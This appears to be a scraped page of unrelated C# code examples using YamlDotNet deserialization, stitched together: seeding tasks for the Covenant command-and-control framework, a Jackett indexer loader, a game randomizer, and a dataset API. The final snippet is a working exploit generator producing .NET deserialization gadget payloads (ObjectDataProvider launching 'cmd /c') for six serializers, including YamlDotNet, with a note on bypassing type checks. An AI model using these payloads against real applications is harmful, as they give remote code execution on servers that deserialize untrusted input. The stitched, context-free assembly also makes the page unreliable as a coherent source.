                    // new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.XML.dll", Common.DotNetVersion.Net40) },
                    // new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Security.dll", Common.DotNetVersion.Net35) },
                    // new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Security.dll", Common.DotNetVersion.Net40) },


                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sdu, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sdu, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sdu, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sdu, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sdu, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sdu, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net40) },

                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = su, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = su, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = su, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = su, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = su, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = su, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = su, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Management.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = su, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Management.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = su, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.ServiceProcess.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = su, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.ServiceProcess.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = su, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.XML.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = su, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.XML.dll", Common.DotNetVersion.Net40) },

                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sw, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sw, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sw, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sw, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sw, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sw, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sw, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Management.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sw, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Management.dll", Common.DotNetVersion.Net40) },

                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.ServiceProcess.dll", Common.DotNetVersion.Net35) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = sc, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.ServiceProcess.dll", Common.DotNetVersion.Net40) },

                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ssd, ReferenceAssembly = await service.GetReferenceAssemblyByName("mscorlib.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ssd, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.dll", Common.DotNetVersion.Net40) },
                    new ReferenceSourceLibraryReferenceAssembly { ReferenceSourceLibrary = ssd, ReferenceAssembly = await service.GetReferenceAssemblyByName("System.Core.dll", Common.DotNetVersion.Net40) }
                    );
            }
            #endregion

            if (!context.GruntTasks.Any())
            {
                List <string> files = Directory.GetFiles(Common.CovenantTaskDirectory)
                                      .Where(F => F.EndsWith(".yaml", StringComparison.CurrentCultureIgnoreCase))
                                      .ToList();
                IDeserializer deserializer = new DeserializerBuilder().Build();
                foreach (string file in files)
                {
                    string yaml = File.ReadAllText(file);
                    List <SerializedGruntTask> serialized = deserializer.Deserialize <List <SerializedGruntTask> >(yaml);
                    List <GruntTask>           tasks      = serialized.Select(S => new GruntTask().FromSerializedGruntTask(S)).ToList();
                    foreach (GruntTask task in tasks)
                    {
                        await service.CreateGruntTask(task);
                    }
                }
            }
        }
示例#28
0
        protected void Init(string DefinitionString)
        {
            var deserializer = new DeserializerBuilder()
                               .WithNamingConvention(new CamelCaseNamingConvention())
                               .IgnoreUnmatchedProperties()
                               .Build();

            Definition = deserializer.Deserialize <IndexerDefinition>(DefinitionString);

            // Add default data if necessary
            if (Definition.Settings == null)
            {
                Definition.Settings = new List <settingsField>();
            }

            if (Definition.Settings.Count == 0)
            {
                Definition.Settings.Add(new settingsField {
                    Name = "username", Label = "Username", Type = "text"
                });
                Definition.Settings.Add(new settingsField {
                    Name = "password", Label = "Password", Type = "password"
                });
            }

            if (Definition.Encoding == null)
            {
                Definition.Encoding = "iso-8859-1";
            }

            if (Definition.Login != null && Definition.Login.Method == null)
            {
                Definition.Login.Method = "form";
            }

            // init missing mandatory attributes
            DisplayName        = Definition.Name;
            DisplayDescription = Definition.Description;
            SiteLink           = Definition.Links[0]; // TODO: implement alternative links
            if (!SiteLink.EndsWith("/"))
            {
                SiteLink += "/";
            }
            Language    = Definition.Language;
            TorznabCaps = TorznabUtil.CreateDefaultTorznabTVCaps(); // TODO implement caps

            // init config Data
            configData = new ConfigurationData();
            foreach (var Setting in Definition.Settings)
            {
                configData.AddDynamic(Setting.Name, new StringItem {
                    Name = Setting.Label
                });
            }

            foreach (var Category in Definition.Caps.Categories)
            {
                var cat = TorznabCatType.GetCatByName(Category.Value);
                if (cat == null)
                {
                    logger.Error(string.Format("CardigannIndexer ({0}): Can't find a category for {1}", ID, Category.Value));
                    continue;
                }
                AddCategoryMapping(Category.Key, TorznabCatType.GetCatByName(Category.Value));
            }
        }
示例#29
0
        public void Randomize(RandomizerOptions options, Action <string> notify = null, string outPath = null, bool sekiro = false, Preset preset = null, bool encrypted = true)
        {
            // sekiro = false;
            string distDir = sekiro ? "dists" : "dist";

            if (!Directory.Exists(distDir))
            {
                // From Release/Debug dirs
                distDir = $@"..\..\..\{distDir}";
            }
            if (!Directory.Exists(distDir))
            {
                throw new Exception("Missing data directory");
            }
            if (outPath == null)
            {
                outPath = Directory.GetCurrentDirectory();
            }

            Console.WriteLine($"Options and seed: {options}");
            Console.WriteLine();
            int seed = (int)options.Seed;

            notify?.Invoke("Loading game data");
            string modDir = null;

            if (options["mergemods"])
            {
                string        modPath    = sekiro ? "mods" : "mod";
                DirectoryInfo modDirInfo = new DirectoryInfo($@"{outPath}\..\{modPath}");
                if (!modDirInfo.Exists)
                {
                    throw new Exception($"Can't merge mods: {modDirInfo.FullName} not found");
                }
                modDir = modDirInfo.FullName;
                if (new DirectoryInfo(outPath).FullName == modDir)
                {
                    throw new Exception($"Can't merge mods: already running from 'mods' directory");
                }
            }
            GameData game = new GameData(distDir, sekiro);

            game.Load(modDir);
            // game.SearchParamInt(15200090); return;
            if (modDir != null)
            {
                Console.WriteLine();
            }

            // Prologue
            if (options["enemy"])
            {
                Console.WriteLine("Ctrl+F 'Boss placements' or 'Miniboss placements' or 'Basic placements' to see enemy placements.");
            }
            if (options["item"] || !sekiro)
            {
                Console.WriteLine("Ctrl+F 'Hints' to see item placement hints, or Ctrl+F for a specific item name.");
            }
            Console.WriteLine();
#if !DEBUG
            for (int i = 0; i < 50; i++)
            {
                Console.WriteLine();
            }
#endif

            // Slightly different high-level algorithm for each game. As always, can try to merge more in the future.
            if (sekiro)
            {
                Events      events = new Events(@"dists\Base\sekiro-common.emedf.json");
                EventConfig eventConfig;
                using (var reader = File.OpenText("dists/Base/events.txt"))
                {
                    IDeserializer deserializer = new DeserializerBuilder().Build();
                    eventConfig = deserializer.Deserialize <EventConfig>(reader);
                }

                EnemyLocations locations = null;
                if (options["enemy"])
                {
                    notify?.Invoke("Randomizing enemies");
                    locations = new EnemyRandomizer(game, events, eventConfig).Run(options, preset);
                    if (!options["enemytoitem"])
                    {
                        locations = null;
                    }
                }
                if (options["item"])
                {
                    notify?.Invoke("Randomizing items");
                    SekiroLocationDataScraper scraper = new SekiroLocationDataScraper();
                    LocationData   data = scraper.FindItems(game);
                    AnnotationData anns = new AnnotationData(game, data);
                    anns.Load(options);
                    anns.AddEnemyLocations(locations);

                    SkillSplitter.Assignment split = null;
                    if (!options["norandom_skills"] && options["splitskills"])
                    {
                        split = new SkillSplitter(game, data, anns, events).SplitAll();
                    }

                    Permutation perm = new Permutation(game, data, anns, explain: false);
                    perm.Logic(new Random(seed), options, preset);

                    notify?.Invoke("Editing game files");
                    PermutationWriter write = new PermutationWriter(game, data, anns, events, eventConfig);
                    write.Write(new Random(seed + 1), perm, options);
                    if (!options["norandom_skills"])
                    {
                        SkillWriter skills = new SkillWriter(game, data, anns);
                        skills.RandomizeTrees(new Random(seed + 2), perm, split);
                    }
                    if (options["edittext"])
                    {
                        HintWriter hints = new HintWriter(game, data, anns);
                        hints.Write(options, perm);
                    }
                }
                MiscSetup.SekiroCommonPass(game, events, options);

                notify?.Invoke("Writing game files");
                if (!options["dryrun"])
                {
                    game.SaveSekiro(outPath);
                }
                return;
            }
            else
            {
                Events events = new Events(@"dist\Base\ds3-common.emedf.json");

                LocationDataScraper scraper = new LocationDataScraper(logUnused: false);
                LocationData        data    = scraper.FindItems(game);
                AnnotationData      ann     = new AnnotationData(game, data);
                ann.Load(options);
                ann.AddSpecialItems();

                notify?.Invoke("Randomizing");
                Random      random      = new Random(seed);
                Permutation permutation = new Permutation(game, data, ann, explain: false);
                permutation.Logic(random, options, null);

                notify?.Invoke("Editing game files");
                random = new Random(seed + 1);
                PermutationWriter writer = new PermutationWriter(game, data, ann, events, null);
                writer.Write(random, permutation, options);
                random = new Random(seed + 2);
                CharacterWriter characters = new CharacterWriter(game, data);
                characters.Write(random, options);

                notify?.Invoke("Writing game files");
                if (!options["dryrun"])
                {
                    game.SaveDS3(outPath, encrypted);
                }
            }
        }
示例#30
0
        async public Task <IActionResult> SaveDefinition(HttpRequest request)
        {
            string yaml = await request.GetRawBodyStringAsync();

            string yamlFilename = request.GetYamlFileNameFromRequest();

            if (string.IsNullOrEmpty(yaml))
            {
                _logger.Error($"Null or empty yaml provided for file: {yamlFilename}");
                return(new BadRequestObjectResult($"Invalid yaml was provided for file: {yamlFilename}"));
            }

            var deserializer = new DeserializerBuilder()
                               .WithNamingConvention(new CamelCaseNamingConvention())
                               .Build();

            DatasetDefinition definition = null;

            try
            {
                definition = deserializer.Deserialize <DatasetDefinition>(yaml);
            }
            catch (Exception exception)
            {
                _logger.Error(exception, $"Invalid yaml was provided for file: {yamlFilename}");
                return(new BadRequestObjectResult($"Invalid yaml was provided for file: {yamlFilename}"));
            }

            DatasetDefinitionChanges datasetDefinitionChanges = new DatasetDefinitionChanges();

            DatasetDefinition existingDefinition = await _datasetsRepositoryPolicy.ExecuteAsync(() => _datasetsRepository.GetDatasetDefinition(definition.Id));

            if (existingDefinition != null)
            {
                datasetDefinitionChanges = _definitionChangesDetectionService.DetectChanges(definition, existingDefinition);

                IEnumerable <string> relationships = await _datasetsRepositoryPolicy.ExecuteAsync(() => _datasetsRepository.GetDistinctRelationshipSpecificationIdsForDatasetDefinitionId(datasetDefinitionChanges.Id));

                IEnumerable <FieldDefinitionChanges> fieldDefinitionChanges = datasetDefinitionChanges.TableDefinitionChanges.SelectMany(m => m.FieldChanges);

                if (!relationships.IsNullOrEmpty() && !fieldDefinitionChanges.IsNullOrEmpty())
                {
                    if (fieldDefinitionChanges.Any(m => m.ChangeTypes.Any(c => c == FieldDefinitionChangeType.RemovedField)))
                    {
                        return(new BadRequestObjectResult("Unable to remove a field as there are currently relationships setup against this schema"));
                    }

                    if (fieldDefinitionChanges.Any(m => m.ChangeTypes.Any(c => c == FieldDefinitionChangeType.IdentifierType)))
                    {
                        return(new BadRequestObjectResult("Unable to change provider identifier as there are currently relationships setup against this schema"));
                    }
                }
            }

            try
            {
                HttpStatusCode result = await _datasetsRepositoryPolicy.ExecuteAsync(() => _datasetsRepository.SaveDefinition(definition));

                if (!result.IsSuccess())
                {
                    int statusCode = (int)result;

                    _logger.Error($"Failed to save yaml file: {yamlFilename} to cosmos db with status {statusCode}");

                    return(new StatusCodeResult(statusCode));
                }

                await IndexDatasetDefinition(definition);
            }
            catch (Exception exception)
            {
                _logger.Error(exception, $"Exception occurred writing to yaml file: {yamlFilename} to cosmos db");

                return(new InternalServerErrorResult($"Exception occurred writing to yaml file: {yamlFilename} to cosmos db"));
            }

            byte[] excelAsBytes = _excelWriter.Write(definition);

            if (excelAsBytes == null || excelAsBytes.Length == 0)
            {
                _logger.Error($"Failed to generate excel file for {definition.Name}");

                return(new InternalServerErrorResult($"Failed to generate excel file for {definition.Name}"));
            }

            try
            {
                await SaveToBlobStorage(excelAsBytes, definition.Name);
            }
            catch (Exception ex)
            {
                return(new InternalServerErrorResult(ex.Message));
            }

            _logger.Information($"Successfully saved file: {yamlFilename} to cosmos db");

            if (existingDefinition != null && datasetDefinitionChanges.HasChanges)
            {
                IDictionary <string, string> properties = request.BuildMessageProperties();

                await _messengerService.SendToTopic(ServiceBusConstants.TopicNames.DataDefinitionChanges, datasetDefinitionChanges, properties);
            }

            return(new OkResult());
        }
        private void InitCardigannIndexers(IEnumerable <string> path)
        {
            logger.Info("Loading Cardigann definitions from: " + string.Join(", ", path));

            var deserializer = new DeserializerBuilder()
                               .WithNamingConvention(CamelCaseNamingConvention.Instance)
//                        .IgnoreUnmatchedProperties()
                               .Build();

            try
            {
                var directoryInfos      = path.Select(p => new DirectoryInfo(p));
                var existingDirectories = directoryInfos.Where(d => d.Exists);
                var files       = existingDirectories.SelectMany(d => d.GetFiles("*.yml"));
                var definitions = files.Select(file =>
                {
                    logger.Debug("Loading Cardigann definition " + file.FullName);
                    try
                    {
                        var DefinitionString = File.ReadAllText(file.FullName);
                        var definition       = deserializer.Deserialize <IndexerDefinition>(DefinitionString);
                        return(definition);
                    }
                    catch (Exception ex)
                    {
                        logger.Error(ex, "Error while parsing Cardigann definition " + file.FullName + ": " + ex.Message);
                        return(null);
                    }
                }).Where(definition => definition != null);

                var cardigannIndexers = definitions.Select(definition =>
                {
                    try
                    {
                        // create own webClient instance for each indexer (seperate cookies stores, etc.)
                        var indexerWebClientInstance = (WebClient)Activator.CreateInstance(webClient.GetType(), processService, logger, globalConfigService, serverConfig);

                        IIndexer indexer = new CardigannIndexer(configService, indexerWebClientInstance, logger, protectionService, definition);
                        configService.Load(indexer);
                        return(indexer);
                    }
                    catch (Exception ex)
                    {
                        logger.Error(ex, "Error while creating Cardigann instance from Definition: " + ex.Message);
                        return(null);
                    }
                }).Where(cardigannIndexer => cardigannIndexer != null).ToList(); // Explicit conversion to list to avoid repeated resource loading

                foreach (var indexer in cardigannIndexers)
                {
                    if (indexers.ContainsKey(indexer.ID))
                    {
                        logger.Debug(string.Format("Ignoring definition ID={0}: Indexer already exists", indexer.ID));
                        continue;
                    }

                    indexers.Add(indexer.ID, indexer);
                }
                logger.Info("Cardigann definitions loaded: " + string.Join(", ", indexers.Keys));
            }
            catch (Exception ex)
            {
                logger.Error(ex, "Error while loading Cardigann definitions: " + ex.Message);
            }
        }
示例#32
0
        public override object Generate(string cmd, string formatter, Boolean test)
        {
            if (formatter.ToLower().Equals("json.net"))
            {
                String payload = @"{
    '$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 
    'MethodName':'Start',
    'MethodParameters':{
        '$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        '$values':['cmd','/c " + cmd + @"']
    },
    'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}";
                if (test)
                {
                    try
                    {
                        Object obj = JsonConvert.DeserializeObject <Object>(payload, new JsonSerializerSettings
                        {
                            TypeNameHandling = TypeNameHandling.Auto
                        });;
                    }
                    catch
                    {
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("fastjson"))
            {
                String payload = @"{
    ""$types"":{
        ""System.Windows.Data.ObjectDataProvider, PresentationFramework, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = 31bf3856ad364e35"":""1"",
        ""System.Diagnostics.Process, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""2"",
        ""System.Diagnostics.ProcessStartInfo, System, Version = 4.0.0.0, Culture = neutral, PublicKeyToken = b77a5c561934e089"":""3""
    },
    ""$type"":""1"",
    ""ObjectInstance"":{
        ""$type"":""2"",
        ""StartInfo"":{
            ""$type"":""3"",
            ""FileName"":""cmd"",
            ""Arguments"":""/c " + cmd + @"""
        }
    },
    ""MethodName"":""Start""
}";
                if (test)
                {
                    try
                    {
                        var instance = JSON.ToObject <Object>(payload);
                    }
                    catch
                    {
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("javascriptserializer"))
            {
                String payload = @"{
    '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35', 
    'MethodName':'Start',
    'ObjectInstance':{
        '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        'StartInfo': {
            '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
            'FileName':'cmd',
            'Arguments':'/c " + cmd + @"'
        }
    }
}";
                if (test)
                {
                    try
                    {
                        JavaScriptSerializer jss = new JavaScriptSerializer(new SimpleTypeResolver());
                        var json_req             = jss.Deserialize <Object>(payload);
                    }
                    catch
                    {
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("xmlserializer"))
            {
                String payload = $@"<?xml version=""1.0""?>
<root xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">
    <ExpandedWrapperOfXamlReaderObjectDataProvider>
        <ExpandedElement/>
        <ProjectedProperty0>
            <MethodName>Parse</MethodName>
            <MethodParameters>
                <anyType xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" xsi:type=""xsd:string"">
                    &lt;ResourceDictionary xmlns=&quot;http://schemas.microsoft.com/winfx/2006/xaml/presentation&quot; xmlns:x=&quot;http://schemas.microsoft.com/winfx/2006/xaml&quot; xmlns:System=&quot;clr-namespace:System;assembly=mscorlib&quot; xmlns:Diag=&quot;clr-namespace:System.Diagnostics;assembly=system&quot;&gt;
                        &lt;ObjectDataProvider x:Key=&quot;LaunchCmd&quot; ObjectType=&quot;{{x:Type Diag:Process}}&quot; MethodName=&quot;Start&quot;&gt;
                            &lt;ObjectDataProvider.MethodParameters&gt;
                                &lt;System:String&gt;cmd&lt;/System:String&gt;
                                &lt;System:String&gt;/c {cmd}&lt;/System:String&gt;
                            &lt;/ObjectDataProvider.MethodParameters&gt;
                        &lt;/ObjectDataProvider&gt;
                    &lt;/ResourceDictionary&gt;
                </anyType>
            </MethodParameters>
            <ObjectInstance xsi:type=""XamlReader""></ObjectInstance>
        </ProjectedProperty0>
    </ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
";
                if (test)
                {
                    try
                    {
                        var xmlDoc = new XmlDocument();
                        xmlDoc.LoadXml(payload);
                        XmlElement xmlItem = (XmlElement)xmlDoc.SelectSingleNode("root");
                        var        s       = new XmlSerializer(Type.GetType(xmlItem.GetAttribute("type")));
                        var        d       = s.Deserialize(new XmlTextReader(new StringReader(xmlItem.InnerXml)));
                    }
                    catch
                    {
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("datacontractserializer"))
            {
                String payload = $@"<?xml version=""1.0""?>
<root xmlns:xsi=""http://www.w3.org/2001/XMLSchema-instance"" xmlns:xsd=""http://www.w3.org/2001/XMLSchema"" type=""System.Data.Services.Internal.ExpandedWrapper`2[[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"">
    <ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL xmlns=""http://schemas.datacontract.org/2004/07/System.Data.Services.Internal""
                                                         xmlns:i=""http://www.w3.org/2001/XMLSchema-instance""
                                                         xmlns:z=""http://schemas.microsoft.com/2003/10/Serialization/"">
      <ExpandedElement z:Id=""ref1"" xmlns:a=""http://schemas.datacontract.org/2004/07/System.Diagnostics"">
        <__identity i:nil=""true"" xmlns=""http://schemas.datacontract.org/2004/07/System""/>
      </ExpandedElement>
      <ProjectedProperty0 xmlns:a=""http://schemas.datacontract.org/2004/07/System.Windows.Data"">
        <a:MethodName>Start</a:MethodName>
        <a:MethodParameters xmlns:b=""http://schemas.microsoft.com/2003/10/Serialization/Arrays"">
          <b:anyType i:type=""c:string"" xmlns:c=""http://www.w3.org/2001/XMLSchema"">cmd</b:anyType>
          <b:anyType i:type=""c:string"" xmlns:c=""http://www.w3.org/2001/XMLSchema"">/c {cmd}</b:anyType>
        </a:MethodParameters>
        <a:ObjectInstance z:Ref=""ref1""/>
      </ProjectedProperty0>
    </ExpandedWrapperOfProcessObjectDataProviderpaO_SOqJL>
</root>
";
                if (test)
                {
                    try
                    {
                        var xmlDoc = new XmlDocument();
                        xmlDoc.LoadXml(payload);
                        XmlElement xmlItem = (XmlElement)xmlDoc.SelectSingleNode("root");
                        var        s       = new DataContractSerializer(Type.GetType(xmlItem.GetAttribute("type")));
                        var        d       = s.ReadObject(new XmlTextReader(new StringReader(xmlItem.InnerXml)));
                    }
                    catch
                    {
                    }
                }
                return(payload);
            }
            else if (formatter.ToLower().Equals("yamldotnet"))
            {
                String payload = @"
!<!System.Windows.Data.ObjectDataProvider%2c%20PresentationFramework%2c%20Version=4.0.0.0%2c%20Culture=neutral%2c%20PublicKeyToken=31bf3856ad364e35> {
    MethodName: Start,
	ObjectInstance: 
		!<!System.Diagnostics.Process%2c%20System%2c%20Version=4.0.0.0%2c%20Culture=neutral%2c%20PublicKeyToken=b77a5c561934e089> {
			StartInfo:
				!<!System.Diagnostics.ProcessStartInfo%2c%20System%2c%20Version=4.0.0.0%2c%20Culture=neutral%2c%20PublicKeyToken=b77a5c561934e089> {
					FileName : cmd,
					Arguments : '/C "                     + cmd + @"'

                }
        }
}";
                if (test)
                {
                    try
                    {
                        //to bypass all of the vulnerable version's type checking, we need to set up a stream
                        using (var reader = new StreamReader(new MemoryStream(System.Text.Encoding.UTF8.GetBytes(payload))))
                        {
                            var deserializer = new DeserializerBuilder().Build();
                            var result       = deserializer.Deserialize(reader);
                        }
                    }
                    catch
                    {
                    }
                }
                return(payload);
            }
            else
            {
                throw new Exception("Formatter not supported");
            }
        }